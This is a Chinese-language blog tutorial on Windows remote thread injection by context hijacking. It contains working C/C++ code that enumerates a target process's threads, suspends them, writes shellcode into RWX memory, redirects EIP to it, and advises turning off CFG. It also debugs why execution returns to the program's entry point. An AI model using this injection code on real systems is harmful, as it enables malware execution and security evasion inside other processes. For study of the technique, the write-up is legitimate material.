windows：shellcode 远程线程hook/注入(一)

　　https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式，让目标线程运行shellcode。这么做有个前提条件：目标线程是alertable的，否则注入了也不会立即被执行，直到状态改为alertable，但笔者暂时没找到能把目标线程状态主动改为alertable的办法，所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式：hook 线程；

　　先说第一种思路，如下：

          

　　核心代码解析如下：

　　1、用于测试的目标进程：这里写个死循环，让其一直运行，方便随时被注入；

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("dead looping...............\n");
    while (TRUE) 
    {

    }
}

　　注意：本人测试环境:

       

　　win10 x64为了确保安全，默认增加了很多防护，比如控制流防护CFG，编译的时候需要手动改成否，才能让我们注入的shellcode顺利执行；

　　

 　　2、遍历进程，找到目标进程后再遍历该进程名下其他线程：

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
        //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
        if (Wow64SuspendThread(threadHandle) == -1) //挂起线程失败
        {
            continue;
        }
        printf("threadId:%d\n", threadId);
        if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
        {
            printf("threadID = %d inject success!", threadId);
            CloseHandle(victimProcess);
            CloseHandle(threadHandle);
            break;
        }
    }

　　3、shellcode代码注入，思路也简单：之前已经已经拿到目标进程和目标线程的句柄，并且已经暂定线程，这里直接GetThreadContext，更改eip为shellcode地址即可；

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error\n");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d\n", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    DWORD currentEIP = ctx.Eip;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

       效果：弹出了messagebox：

       

       也在目标进程的目录下生成了文件：

      

　　4、最后做一些总结：

•     为了让被注入的目标进程一直运行，刚开始用了sleep，从process hacker看能正常suspend，但无法resume，shellcode也无法执行；后来改成死循环，能正常执行shellcode了；
•     shellcode执行完后，从打印的数据来看，貌似又从main开始运行，如下：

　　　　

　　　　从process hacker看，线程并未改变，还是之前的那个：

 　　　　

　　　　那么问题来了，shellcode执行完回到主线程后为啥又执行了打印代码？仔细想想，shellcode最后一条有效指令是C3，也就是ret，该指令把栈顶4个字节作为返回地址赋值给eip；既然dead looping打印了两次，说明执行shellcode执行前栈顶被压入了这行代码的地址，这是谁干的了？用IDA打开目标进程分析，如下:

　　　　

 　　　　好在自己写的测试进程不复杂，很容易找到答案，分析如下：

             （1）由于cpu执行速度很快，注入shellcode的进程（以下简称loader）在执行suspendThread时大概率已经进入while死循环，从上面汇编代码来看，while循环并未改变堆栈，所以shellcdoe执行完后ret的地址肯定不是while循环更改的；

             （2）继续往上倒推：add esp,4 这是进入死循环最后一行改变栈顶的代码，为了更直观说明，我画了一个堆栈图，对照代码如下：

　　          

 　　　　从函数入口点开始，改变堆栈，期间有两个call和一个push，这3行指令会改变esp；最后执行完add esp,4后，esp重新指向原edi；shellcode最后一行ret执行时，会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了？用调试器打开测试进程，在main入口断下，发现edi指向的时EntryPoint，也就是说shellcode最后一个ret指令会跳转到这里开始执行；

　　      

             这里也能看到栈顶是EntryPoint的地址：

             

 　　5、 这次注入shellcode虽说成功，问题也很明显：

•    手动关闭了CFG检查，但实际情况是CFG默认是开启的，导致shellcode可能无法执行
•    没有设置返回地址，shellcode执行完，返回地址无法控制（这里只是凑巧回到了原EntryPoint）；因suspendThread是随机的，context的eip也是随机的，所以shellcode执行完后返回地址也是随机的，这点在shellode无法写死，只能动态获取；我曾经尝试在shellcode末尾添加push+ret方式返回，但suspend的地址可能包含很多00，通过字符串操作的时候可能会被截断，暂时没想到好的解决办法；
•    类似explorer这种系统进程，GetThreadContex大概率会失败，可能做了保护；

　    后续会通过其他方案挨个解决这些问题！